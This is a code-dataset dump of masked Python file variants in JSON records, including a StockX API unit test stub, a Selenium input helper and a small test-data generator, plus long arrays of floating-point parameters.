set_pos_vertex(get_shapes(), 1)\n # set_random_vertex(get_shapes(), 1)\n create_boxes(get_shapes(), 'boxes', 'v_', 0)\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }

[ 0 ]

<|reserved_special_token_0|> class TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase): <|reserved_special_token_0|> def setUp(self): pass def tearDown(self): pass def testPortfolioIdDelResponsePortfolioItemProductMedia(self): """Test PortfolioIdDelResponsePortfolioItemProductMedia""" pass <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase): """PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs""" def setUp(self): pass def tearDown(self): pass def testPortfolioIdDelResponsePortfolioItemProductMedia(self): """Test PortfolioIdDelResponsePortfolioItemProductMedia""" pass <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase): """PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs""" def setUp(self): pass def tearDown(self): pass def testPortfolioIdDelResponsePortfolioItemProductMedia(self): """Test PortfolioIdDelResponsePortfolioItemProductMedia""" pass if __name__ == '__main__': unittest.main() <|reserved_special_token_1|> <|reserved_special_token_0|> from __future__ import absolute_import import unittest import io_stockx from io_stockx.models.portfolio_id_del_response_portfolio_item_product_media import PortfolioIdDelResponsePortfolioItemProductMedia from io_stockx.rest import ApiException class TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase): """PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs""" def setUp(self): pass def tearDown(self): pass def testPortfolioIdDelResponsePortfolioItemProductMedia(self): """Test PortfolioIdDelResponsePortfolioItemProductMedia""" pass if __name__ == '__main__': unittest.main() <|reserved_special_token_1|> # coding: utf-8 """ StockX API PRERELEASE API - Subject to change before release. Provides access to StockX's public services, allowing end users to query for product and order information. # noqa: E501 OpenAPI spec version: 1.0.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import io_stockx from io_stockx.models.portfolio_id_del_response_portfolio_item_product_media import PortfolioIdDelResponsePortfolioItemProductMedia # noqa: E501 from io_stockx.rest import ApiException class TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase): """PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs""" def setUp(self): pass def tearDown(self): pass def testPortfolioIdDelResponsePortfolioItemProductMedia(self): """Test PortfolioIdDelResponsePortfolioItemProductMedia""" # FIXME: construct object with mandatory attributes with example values # model = io_stockx.models.portfolio_id_del_response_portfolio_item_product_media.PortfolioIdDelResponsePortfolioItemProductMedia() # noqa: E501 pass if __name__ == '__main__': unittest.main()

flexible

{ "blob_id": "ae88418ccfdaa4b357a2491f6450dbcda55b1c21", "index": 2013, "step-1": "<mask token>\n\n\nclass TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase):\n <mask token>\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def testPortfolioIdDelResponsePortfolioItemProductMedia(self):\n \"\"\"Test PortfolioIdDelResponsePortfolioItemProductMedia\"\"\"\n pass\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase):\n \"\"\"PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs\"\"\"\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def testPortfolioIdDelResponsePortfolioItemProductMedia(self):\n \"\"\"Test PortfolioIdDelResponsePortfolioItemProductMedia\"\"\"\n pass\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase):\n \"\"\"PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs\"\"\"\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def testPortfolioIdDelResponsePortfolioItemProductMedia(self):\n \"\"\"Test PortfolioIdDelResponsePortfolioItemProductMedia\"\"\"\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-4": "<mask token>\nfrom __future__ import absolute_import\nimport unittest\nimport io_stockx\nfrom io_stockx.models.portfolio_id_del_response_portfolio_item_product_media import PortfolioIdDelResponsePortfolioItemProductMedia\nfrom io_stockx.rest import ApiException\n\n\nclass TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase):\n \"\"\"PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs\"\"\"\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def testPortfolioIdDelResponsePortfolioItemProductMedia(self):\n \"\"\"Test PortfolioIdDelResponsePortfolioItemProductMedia\"\"\"\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-5": "# coding: utf-8\n\n\"\"\"\n StockX API\n\n PRERELEASE API - Subject to change before release. Provides access to StockX's public services, allowing end users to query for product and order information. # noqa: E501\n\n OpenAPI spec version: 1.0.0\n \n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nfrom __future__ import absolute_import\n\nimport unittest\n\nimport io_stockx\nfrom io_stockx.models.portfolio_id_del_response_portfolio_item_product_media import PortfolioIdDelResponsePortfolioItemProductMedia # noqa: E501\nfrom io_stockx.rest import ApiException\n\n\nclass TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase):\n \"\"\"PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs\"\"\"\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def testPortfolioIdDelResponsePortfolioItemProductMedia(self):\n \"\"\"Test PortfolioIdDelResponsePortfolioItemProductMedia\"\"\"\n # FIXME: construct object with mandatory attributes with example values\n # model = io_stockx.models.portfolio_id_del_response_portfolio_item_product_media.PortfolioIdDelResponsePortfolioItemProductMedia() # noqa: E501\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-ids": [ 4, 5, 6, 7, 8 ] }

[ 4, 5, 6, 7, 8 ]

# -*- coding: utf-8 -*- from selenium.webdriver.common.keys import Keys from titan.components import Base class Input(Base): def clear(self): element = self.driver.find_element_by_xpath(self.params['xpath']) if self.params.get('clear', None): element.clear() return True element.click() space_num = self.params['space']if self.params.get('space', None) else 4 while space_num: space_num -= 1 element.send_keys(Keys.BACK_SPACE) def text(self): print(self.params) element = self.driver.find_element_by_xpath(self.params['xpath']) element.send_keys(self.params['text'])

normal

{ "blob_id": "7503a0c8f83ff0ce370ed7bce733b09d9a2c69c4", "index": 817, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Input(Base):\n\n def clear(self):\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n if self.params.get('clear', None):\n element.clear()\n return True\n element.click()\n space_num = self.params['space'] if self.params.get('space', None\n ) else 4\n while space_num:\n space_num -= 1\n element.send_keys(Keys.BACK_SPACE)\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Input(Base):\n\n def clear(self):\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n if self.params.get('clear', None):\n element.clear()\n return True\n element.click()\n space_num = self.params['space'] if self.params.get('space', None\n ) else 4\n while space_num:\n space_num -= 1\n element.send_keys(Keys.BACK_SPACE)\n\n def text(self):\n print(self.params)\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n element.send_keys(self.params['text'])\n", "step-4": "from selenium.webdriver.common.keys import Keys\nfrom titan.components import Base\n\n\nclass Input(Base):\n\n def clear(self):\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n if self.params.get('clear', None):\n element.clear()\n return True\n element.click()\n space_num = self.params['space'] if self.params.get('space', None\n ) else 4\n while space_num:\n space_num -= 1\n element.send_keys(Keys.BACK_SPACE)\n\n def text(self):\n print(self.params)\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n element.send_keys(self.params['text'])\n", "step-5": "# -*- coding: utf-8 -*-\nfrom selenium.webdriver.common.keys import Keys\nfrom titan.components import Base\n\n\nclass Input(Base):\n\n def clear(self):\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n if self.params.get('clear', None):\n element.clear()\n return True\n\n element.click()\n space_num = self.params['space']if self.params.get('space', None) else 4\n while space_num:\n space_num -= 1\n element.send_keys(Keys.BACK_SPACE)\n\n def text(self):\n print(self.params)\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n element.send_keys(self.params['text'])\n\n", "step-ids": [ 0, 2, 3, 4, 5 ] }

[ 0, 2, 3, 4, 5 ]

#!/usr/bin/python from random import * prob = "change" cases = [ 10, 10, 10, 100, 100, 100000, 100000, 100000, 100000, 100000 ] cur = 0 st = [1,2,5,10,20,50,100,200,500,1000,2000,5000,10000] for (n) in cases : cout = "" cur += 1 print "make %d..." % cur ##----- #TODO generate the data tot = 0 stt = [] for a in st : for b in st : if b < a and a <= n : tot = tot + 1 stt.append( (a,b) ) cout += "%d\n" % tot for (a,b) in stt : cout += "%d %d\n" % (a, b) ##----- f = file( prob + str(cur) + ".in", "w" ) f.write( cout ) f.close()

normal

{ "blob_id": "2cef5311a9ff9497ad6611fe7b47e4f7c5b1b3c7", "index": 7581, "step-1": "#!/usr/bin/python\n\nfrom random import *\n\nprob = \"change\"\n\ncases = [ \n 10,\n 10,\n 10,\n 100,\n 100,\n 100000,\n 100000,\n 100000,\n 100000,\n 100000\n ]\ncur = 0\n\nst = [1,2,5,10,20,50,100,200,500,1000,2000,5000,10000]\n\nfor (n) in cases :\n cout = \"\"\n cur += 1\n print \"make %d...\" % cur\n##-----\n#TODO generate the data\n\n tot = 0\n stt = []\n for a in st :\n for b in st :\n if b < a and a <= n :\n tot = tot + 1\n stt.append( (a,b) )\n cout += \"%d\\n\" % tot\n for (a,b) in stt :\n cout += \"%d %d\\n\" % (a, b)\n\n\n##-----\n f = file( prob + str(cur) + \".in\", \"w\" )\n f.write( cout )\n f.close()\n\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }

[ 0 ]

one=[7.236287049225701e-06, -1.445911565527231e-12, -1.7498772740084537e-13, 5.109944355076077e-11, -2.5430545472048434e-10, -1.1709514644876058e-15, 3.210132219509301e-16, 2.502027767038304e-05, -1.975229899156637e-06, -1.4769695480936238e-08, 8.945619840357268e-10, 135323228000.64511, 130464457208.5385] two=[6.101651991514008e-06, -1.2764740103418866e-12, -1.9703439809858206e-13, 4.396430723625485e-11, -7.256876412950873e-11, -1.0739249647595844e-15, 3.658727722774004e-16, 2.9622074287767617e-05, -1.9615179204309246e-06, -1.518516920005905e-08, 8.601004856702239e-10, 194360719320.3122, 75684271432.82758] three=[6.4442734160126695e-06, -1.2463732938819767e-12, -1.7912928652160854e-13, 3.990379556815055e-11, -7.256876412950873e-11, -1.128505986956859e-15, 3.855466000081844e-16, 2.7105518268805634e-05, -1.918022677712299e-06, -1.648586510957147e-08, 8.952907812465134e-10, 40874176708.45886, 129961018217.7445] four=[5.591985036569838e-06, -1.5732644861037622e-12, -1.2586540738798186e-13, 5.508993685740796e-11, -2.345347836605763e-10, -2.1583737575101563e-15, 3.315525502908504e-16, 2.240369111953624e-05, -1.8808495402864136e-06, -1.5154818034574072e-08, 9.134128217572173e-10, 95538034865.65512, 192689393537.75766] five=[5.9877501684316964e-06, -1.4725222964411265e-12, -2.0184675219747084e-13, 4.503520441436847e-11, -2.195719309752964e-10, -1.1996862422718706e-15, 3.172649531291829e-16, 2.235294071412983e-05, -1.7673862518012629e-06, -1.593810591566234e-08, 8.495479067416047e-10, 172629547544.72174, 121012464101.10771] six = [6.525636151737385e-10, -1.5516831882387681e-12, -1.7065883936338436e-13, 4.6265959327559024e-11, -2.669670220497726e-10, -1.0739249647595844e-15, 9.085513864943156e-16, 2.5963751617497686e-05, -1.9757021060346726e-06, -1.5031696163247858e-08, 8.945619840357268e-10, 99871865434.22476, 123933224114.80229] first1_gen= [[6.417695307686038e-06, -1.2416886913890308e-12, -1.791907685050265e-13, 3.983180616117193e-11, -7.243488055496258e-11, -1.1211433897576025e-15, 3.855466000081844e-16, 2.7255618460061466e-05, -1.917823676019374e-06, -1.6515339421288782e-08, 9.011563904603084e-10, 37866240406.859344, 251532289608.81], [5.974092884160685e-06, -1.4591405170404072e-12, -2.0184675219747084e-13, 4.3821744446480515e-11, -7.22093644433135e-11, -1.0712173220027044e-15, 3.65758224365464e-16, 2.235294071412983e-05, -1.763797302814154e-06, -1.6059311052756668e-08, 8.601004856702239e-10, 50907349656.8246, 117645129547.73723], [7.171513003462397e-06, -1.4334443716578728e-12, -1.749514610735409e-13, 5.509823004788858e-11, -2.5310572250093563e-10, -1.1729621402736547e-15, 3.321162280251396e-16, 2.4812886502853343e-05, -1.964119169077712e-06, -1.4799846596325615e-08, 8.965548334484032e-10, 85071583311.774, 128667385131.30013], [7.3000149385339486e-06, -1.4508582334938624e-12, -1.7446896418754742e-13, 5.109944355076077e-11, -2.5448794058714256e-10, -1.1658376910672744e-15, 3.1827015830354867e-16, 2.502027767038304e-05, -1.9664311146400523e-06, -1.4730561693079958e-08, 8.945619840357268e-10, 88113858040.47986, 127558862768.52084], [5.581899283069486e-06, -1.5683042319109065e-12, -1.2586540738798186e-13, 5.535493146365402e-11, -2.359264703422783e-10, -2.1583737575101563e-15, 3.2921934547988314e-16, 2.2287538734129395e-05, -1.8740196054647742e-06, -1.5117323048065992e-08, 9.114608510796109e-10, 90926368846.81926, 202187413440.1054], [7.283321725975412e-06, -1.4356567410151954e-12, -1.7340660013452496e-13, 5.090884822547887e-11, -2.5483963758954753e-10, -1.139281753854116e-15, 3.1970242364315826e-16, 2.7105518268805634e-05, -1.963160298901409e-06, -1.4681586301228543e-08, 8.916460477308206e-10, 142505061534.36484, 476063714570.38367], [5.591985036569838e-06, -1.582675728169255e-12, -1.7359285477580936e-13, 5.508993685740796e-11, -2.5320893657294154e-10, -2.1583737575101563e-15, 3.210132219509301e-16, 2.511654073479438e-05, -1.965555797894771e-06, -1.5140087108671845e-08, 9.214909160927855e-10, 154168790181.56195, 151975095946.00134], [6.4442734160126695e-06, -1.5732644861037622e-12, -1.8036634758606428e-13, 5.508993685740796e-11, -7.27534017567909e-11, -2.1583737575101563e-15, 3.306758579127667e-16, 2.2271668826613973e-05, -1.8701423073554431e-06, -1.501078224172373e-08, 8.952907812465134e-10, 267883353895.00665, 158759045786.36343], [6.460391520361948e-06, -1.2647094709156108e-12, -1.7971415732486973e-13, 4.396430723625485e-11, -7.247266456377939e-11, -1.1373744765683215e-15, 3.658727722774004e-16, 2.7105518268805634e-05, -1.9663482803776534e-06, -1.6397993463300374e-08, 8.923803313149724e-10, 349965962553.9084, 297837273933.3269], [5.6272383047081095e-06, -1.5732644861037622e-12, -1.2571170147507106e-13, 5.534697362808701e-11, -2.3610413258218975e-10, -1.1709514644876058e-15, 3.2295817320330796e-16, 2.2314117324425535e-05, -1.8663649176622442e-06, -1.4769695480936238e-08, 9.134128217572173e-10, 393807734620.02893, 1450122303072.2456], [6.437914022666636e-06, -1.2546731037733632e-12, -1.7844406460041829e-13, 5.488975389250315e-11, -7.259445338393382e-11, -2.1597092009682793e-15, 3.3041861616205316e-16, 2.240369111953624e-05, -1.876360375320595e-06, -1.648586510957147e-08, 9.134128217572173e-10, 630890128752.3734, 431834854178.85406], [6.046575120541287e-06, -1.2764740103418866e-12, -1.746683186012092e-13, 5.109944355076077e-11, -2.520608616913497e-10, -1.0704525109919603e-15, 3.6772692838424905e-16, 2.971296945414015e-05, -1.951293357817624e-06, -1.4769695480936238e-08, 8.939102135383639e-10, 871857905030.9667, 2328286443290.7437], [6.051000675950963e-06, -1.2846825520511646e-12, -1.268060597488819e-13, 5.490952472465525e-11, -2.3244121922778247e-10, -2.1424540029363198e-15, 3.673980081076506e-16, 2.961326937497751e-05, -1.895367635724618e-06, -1.5034205062876655e-08, 9.16195585945909e-10, 1374938673042.5493, 4524615824537.332], [5.6149092148265474e-06, -1.4639678768975506e-12, -1.253161090730697e-13, 4.481233479664715e-11, -2.335516269047763e-10, -2.1416544930348844e-15, 3.3108330528832777e-16, 2.22837679272578e-05, -1.8681878215606722e-06, -1.528899727808779e-08, 8.573199342562181e-10, 1914602582873.603, 2013877892656.268], [6.101651991514008e-06, -1.5833077943313046e-12, -1.9703439809858206e-13, 5.500949944067544e-11, -7.256876412950873e-11, -1.0739249647595844e-15, 3.658727722774004e-16, 2.970517711660123e-05, -1.8738366196528042e-06, -1.522166132952199e-08, 9.123763139194573e-10, 3105022967535.493, 7589715261899.736], [7.169307360099383e-06, -1.475336624504327e-12, -2.0167346748799746e-13, 4.53859215469466e-11, -2.1795530264429259e-10, -1.209364174087727e-15, 3.179525403817121e-16, 2.248948490803903e-05, -1.9732992714201345e-06, -1.4769695480936238e-08, 8.472670825115021e-10, 3105580314530.341, 4622017117439.275]] second1_gen= [[6.473615077297489e-06, -1.2416886913890308e-12, -1.7473505716030156e-13, 3.966285637236728e-11, -7.243488055496258e-11, -1.1645955168783485e-15, 3.1918479761370934e-16, 2.7255618460061466e-05, -1.912188850787629e-06, -1.6430064111592607e-08, 8.970550453733459e-10, 35685411688.23251, 231044368946.34586], [6.393923513974502e-06, -1.2418411778899226e-12, -1.7798884315456173e-13, 3.983180616117193e-11, -7.243742739542879e-11, -1.128236668058653e-15, 3.855466000081844e-16, 2.7200371659468664e-05, -1.9285560276423494e-06, -1.636514926725132e-08, 9.071692193685023e-10, 57865021002.9106, 360571654391.1672], [7.230454358781939e-06, -1.423600316370741e-12, -1.7526876652912844e-13, 5.484412599476033e-11, -7.222102668803471e-11, -1.1795054510279537e-15, 3.642469974043324e-16, 2.4721354631465055e-05, -1.7738362153245365e-06, -1.6042437181983083e-08, 8.601004856702239e-10, 60788722272.11295, 440230270157.01904], [6.435449388867622e-06, -1.2416886913890308e-12, -1.807074860305897e-13, 5.4624696474782334e-11, -7.299561923303083e-11, -1.1155657493946243e-15, 3.855466000081844e-16, 2.4639345261867096e-05, -1.92912357850029e-06, -1.4800406168095671e-08, 9.011563904603084e-10, 90541420172.20418, 503189560104.03455], [6.417695307686038e-06, -1.2339817339229541e-12, -1.7924803979756243e-13, 5.5902899343682586e-11, -7.217875877484109e-11, -1.120826019773443e-15, 3.8364837768074985e-16, 2.2074405673546407e-05, -1.904212437644655e-06, -1.509791791618086e-08, 8.960324081400173e-10, 91138056935.866, 156256693553.4698], [7.235432436183002e-06, -1.444519147741974e-12, -1.7273464723057338e-13, 5.517809418856912e-11, -2.5310572250093563e-10, -1.1658376910672744e-15, 3.3048095015500005e-16, 2.4812886502853343e-05, -1.964119169077712e-06, -1.4777953862585708e-08, 8.945619840357268e-10, 98015149423.40909, 125389712442.99564], [6.382295596647026e-06, -1.5683042319109065e-12, -1.271182130914441e-13, 3.9709881372590666e-11, -2.3411267641257417e-10, -1.1298867172210502e-15, 3.273827033054119e-16, 2.71828464025051e-05, -1.86879521538149e-06, -1.6615697675064263e-08, 8.938783145101195e-10, 108132988244.55444, 600937075323.7117], [7.3000149385339486e-06, -1.4649443926376347e-12, -1.740251215699652e-13, 5.5040821609381877e-11, -2.5448794058714256e-10, -1.1729621402736547e-15, 3.321162280251396e-16, 2.492985953688089e-05, -1.95260325957056e-06, -1.4879723555310096e-08, 8.886352647229086e-10, 118040637271.1665, 119637343045.177], [5.595995170722691e-06, -1.5775800984465949e-12, -1.2531378473105398e-13, 5.5737478708430025e-11, -2.359264703422783e-10, -2.141274549861917e-15, 3.2670998922499434e-16, 2.2375793269713536e-05, -1.8912926681237391e-06, -1.5244852134327217e-08, 9.114608510796109e-10, 193706809398.06177, 145429438824.56485], [6.417695307686038e-06, -1.2390179448049186e-12, -2.0184675219747084e-13, 3.996761820973954e-11, -7.30077645678233e-11, -1.0733818300903034e-15, 3.6521589033170274e-16, 2.7380751148035565e-05, -1.901967051200766e-06, -1.6531476837456585e-08, 8.659462633971021e-10, 291714681643.4888, 219358626907.00577], [7.269087955666727e-06, -1.4398732474157131e-12, -1.745771866624504e-13, 5.5370858680922966e-11, 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normal

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153694065180.84283]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.0866854154642685e-13, \n 5.011120217163613e-11, -1.766361848796505e-10, -1.8339694239958517e-15,\n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.760544278271184e-10, 112511385038.11157, \n 154263245256.49524]\n[3.868816176815073e-09, -1.2030336482043862e-12, -2.1171136727356646e-13, \n 5.021867485100539e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.4920809345224143e-08, 8.750599822793858e-10, 102250033424.31876, \n 164710456294.5225]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7478774930028702e-10, -1.82610373802557e-15, \n 7.452586179271996e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.4975512206722303e-08, 8.721578527250325e-10, 92516509687.73035, \n 170174200265.44513]\n", "step-3": "one = [7.236287049225701e-06, -1.445911565527231e-12, -\n 1.7498772740084537e-13, 5.109944355076077e-11, -2.5430545472048434e-10,\n -1.1709514644876058e-15, 3.210132219509301e-16, 2.502027767038304e-05, \n -1.975229899156637e-06, -1.4769695480936238e-08, 8.945619840357268e-10,\n 135323228000.64511, 130464457208.5385]\ntwo = [6.101651991514008e-06, -1.2764740103418866e-12, -\n 1.9703439809858206e-13, 4.396430723625485e-11, -7.256876412950873e-11, \n -1.0739249647595844e-15, 3.658727722774004e-16, 2.9622074287767617e-05,\n -1.9615179204309246e-06, -1.518516920005905e-08, 8.601004856702239e-10,\n 194360719320.3122, 75684271432.82758]\nthree = [6.4442734160126695e-06, -1.2463732938819767e-12, -\n 1.7912928652160854e-13, 3.990379556815055e-11, -7.256876412950873e-11, \n -1.128505986956859e-15, 3.855466000081844e-16, 2.7105518268805634e-05, \n -1.918022677712299e-06, -1.648586510957147e-08, 8.952907812465134e-10, \n 40874176708.45886, 129961018217.7445]\nfour = [5.591985036569838e-06, -1.5732644861037622e-12, -\n 1.2586540738798186e-13, 5.508993685740796e-11, -2.345347836605763e-10, \n -2.1583737575101563e-15, 3.315525502908504e-16, 2.240369111953624e-05, \n -1.8808495402864136e-06, -1.5154818034574072e-08, 9.134128217572173e-10,\n 95538034865.65512, 192689393537.75766]\nfive = [5.9877501684316964e-06, -1.4725222964411265e-12, -\n 2.0184675219747084e-13, 4.503520441436847e-11, -2.195719309752964e-10, \n -1.1996862422718706e-15, 3.172649531291829e-16, 2.235294071412983e-05, \n -1.7673862518012629e-06, -1.593810591566234e-08, 8.495479067416047e-10,\n 172629547544.72174, 121012464101.10771]\nsix = [6.525636151737385e-10, -1.5516831882387681e-12, -\n 1.7065883936338436e-13, 4.6265959327559024e-11, -2.669670220497726e-10,\n -1.0739249647595844e-15, 9.085513864943156e-16, 2.5963751617497687e-05,\n -1.9757021060346727e-06, -1.5031696163247857e-08, 8.945619840357268e-10,\n 99871865434.22476, 123933224114.80229]\nfirst1_gen = [[6.417695307686038e-06, -1.2416886913890308e-12, -\n 1.791907685050265e-13, 3.983180616117193e-11, -7.243488055496258e-11, -\n 1.1211433897576025e-15, 3.855466000081844e-16, 2.7255618460061466e-05, \n -1.917823676019374e-06, -1.6515339421288782e-08, 9.011563904603084e-10,\n 37866240406.859344, 251532289608.81], [5.974092884160685e-06, -\n 1.4591405170404072e-12, -2.0184675219747084e-13, 4.3821744446480515e-11,\n -7.22093644433135e-11, -1.0712173220027044e-15, 3.65758224365464e-16, \n 2.235294071412983e-05, -1.763797302814154e-06, -1.6059311052756668e-08,\n 8.601004856702239e-10, 50907349656.8246, 117645129547.73723], [\n 7.171513003462397e-06, -1.4334443716578728e-12, -1.749514610735409e-13,\n 5.509823004788858e-11, -2.5310572250093563e-10, -1.1729621402736547e-15,\n 3.321162280251396e-16, 2.4812886502853343e-05, -1.964119169077712e-06, \n -1.4799846596325615e-08, 8.965548334484032e-10, 85071583311.774, \n 128667385131.30013], [7.3000149385339486e-06, -1.4508582334938624e-12, \n -1.7446896418754742e-13, 5.109944355076077e-11, -2.5448794058714256e-10,\n -1.1658376910672744e-15, 3.1827015830354867e-16, 2.502027767038304e-05,\n -1.9664311146400523e-06, -1.4730561693079958e-08, 8.945619840357268e-10,\n 88113858040.47986, 127558862768.52084], [5.581899283069486e-06, -\n 1.5683042319109065e-12, -1.2586540738798186e-13, 5.535493146365402e-11,\n -2.359264703422783e-10, -2.1583737575101563e-15, 3.2921934547988314e-16,\n 2.2287538734129395e-05, -1.8740196054647742e-06, -\n 1.5117323048065992e-08, 9.114608510796109e-10, 90926368846.81926, \n 202187413440.1054], [7.283321725975412e-06, -1.4356567410151954e-12, -\n 1.7340660013452496e-13, 5.090884822547887e-11, -2.5483963758954753e-10,\n -1.139281753854116e-15, 3.1970242364315826e-16, 2.7105518268805634e-05,\n -1.963160298901409e-06, -1.4681586301228543e-08, 8.916460477308206e-10,\n 142505061534.36484, 476063714570.38367], [5.591985036569838e-06, -\n 1.582675728169255e-12, -1.7359285477580936e-13, 5.508993685740796e-11, \n -2.5320893657294154e-10, -2.1583737575101563e-15, 3.210132219509301e-16,\n 2.511654073479438e-05, -1.965555797894771e-06, -1.5140087108671845e-08,\n 9.214909160927855e-10, 154168790181.56195, 151975095946.00134], [\n 6.4442734160126695e-06, -1.5732644861037622e-12, -\n 1.8036634758606428e-13, 5.508993685740796e-11, -7.27534017567909e-11, -\n 2.1583737575101563e-15, 3.306758579127667e-16, 2.2271668826613973e-05, \n -1.8701423073554431e-06, -1.501078224172373e-08, 8.952907812465134e-10,\n 267883353895.00665, 158759045786.36343], [6.460391520361948e-06, -\n 1.2647094709156108e-12, -1.7971415732486973e-13, 4.396430723625485e-11,\n -7.247266456377939e-11, -1.1373744765683215e-15, 3.658727722774004e-16,\n 2.7105518268805634e-05, -1.9663482803776534e-06, -\n 1.6397993463300374e-08, 8.923803313149724e-10, 349965962553.9084, \n 297837273933.3269], [5.6272383047081095e-06, -1.5732644861037622e-12, -\n 1.2571170147507106e-13, 5.534697362808701e-11, -2.3610413258218975e-10,\n -1.1709514644876058e-15, 3.2295817320330796e-16, 2.2314117324425535e-05,\n -1.8663649176622442e-06, -1.4769695480936238e-08, 9.134128217572173e-10,\n 393807734620.02893, 1450122303072.2456], [6.437914022666636e-06, -\n 1.2546731037733632e-12, -1.7844406460041829e-13, 5.488975389250315e-11,\n -7.259445338393382e-11, -2.1597092009682793e-15, 3.3041861616205316e-16,\n 2.240369111953624e-05, -1.876360375320595e-06, -1.648586510957147e-08, \n 9.134128217572173e-10, 630890128752.3734, 431834854178.85406], [\n 6.046575120541287e-06, -1.2764740103418866e-12, -1.746683186012092e-13,\n 5.109944355076077e-11, -2.520608616913497e-10, -1.0704525109919603e-15,\n 3.6772692838424905e-16, 2.971296945414015e-05, -1.951293357817624e-06, \n -1.4769695480936238e-08, 8.939102135383639e-10, 871857905030.9667, \n 2328286443290.7437], [6.051000675950963e-06, -1.2846825520511646e-12, -\n 1.268060597488819e-13, 5.490952472465525e-11, -2.3244121922778247e-10, \n -2.1424540029363198e-15, 3.673980081076506e-16, 2.961326937497751e-05, \n -1.895367635724618e-06, -1.5034205062876655e-08, 9.16195585945909e-10, \n 1374938673042.5493, 4524615824537.332], [5.6149092148265474e-06, -\n 1.4639678768975506e-12, -1.253161090730697e-13, 4.481233479664715e-11, \n -2.335516269047763e-10, -2.1416544930348844e-15, 3.3108330528832777e-16,\n 2.22837679272578e-05, -1.8681878215606722e-06, -1.528899727808779e-08, \n 8.573199342562181e-10, 1914602582873.603, 2013877892656.268], [\n 6.101651991514008e-06, -1.5833077943313046e-12, -1.9703439809858206e-13,\n 5.500949944067544e-11, -7.256876412950873e-11, -1.0739249647595844e-15,\n 3.658727722774004e-16, 2.970517711660123e-05, -1.8738366196528042e-06, \n -1.522166132952199e-08, 9.123763139194573e-10, 3105022967535.493, \n 7589715261899.736], [7.169307360099383e-06, -1.475336624504327e-12, -\n 2.0167346748799746e-13, 4.53859215469466e-11, -2.1795530264429259e-10, \n -1.209364174087727e-15, 3.179525403817121e-16, 2.248948490803903e-05, -\n 1.9732992714201345e-06, -1.4769695480936238e-08, 8.472670825115021e-10,\n 3105580314530.341, 4622017117439.275]]\nsecond1_gen = [[6.473615077297489e-06, -1.2416886913890308e-12, -\n 1.7473505716030156e-13, 3.966285637236728e-11, -7.243488055496258e-11, \n -1.1645955168783485e-15, 3.1918479761370934e-16, 2.7255618460061466e-05,\n -1.912188850787629e-06, -1.6430064111592607e-08, 8.970550453733459e-10,\n 35685411688.23251, 231044368946.34586], [6.393923513974502e-06, -\n 1.2418411778899226e-12, -1.7798884315456173e-13, 3.983180616117193e-11,\n -7.243742739542879e-11, -1.128236668058653e-15, 3.855466000081844e-16, \n 2.7200371659468664e-05, -1.9285560276423494e-06, -1.636514926725132e-08,\n 9.071692193685023e-10, 57865021002.9106, 360571654391.1672], [\n 7.230454358781939e-06, -1.423600316370741e-12, -1.7526876652912844e-13,\n 5.484412599476033e-11, -7.222102668803471e-11, -1.1795054510279537e-15,\n 3.642469974043324e-16, 2.4721354631465055e-05, -1.7738362153245365e-06,\n -1.6042437181983083e-08, 8.601004856702239e-10, 60788722272.11295, \n 440230270157.01904], [6.435449388867622e-06, -1.2416886913890308e-12, -\n 1.807074860305897e-13, 5.4624696474782334e-11, -7.299561923303083e-11, \n -1.1155657493946243e-15, 3.855466000081844e-16, 2.4639345261867096e-05,\n -1.92912357850029e-06, -1.4800406168095671e-08, 9.011563904603084e-10, \n 90541420172.20418, 503189560104.03455], [6.417695307686038e-06, -\n 1.2339817339229541e-12, 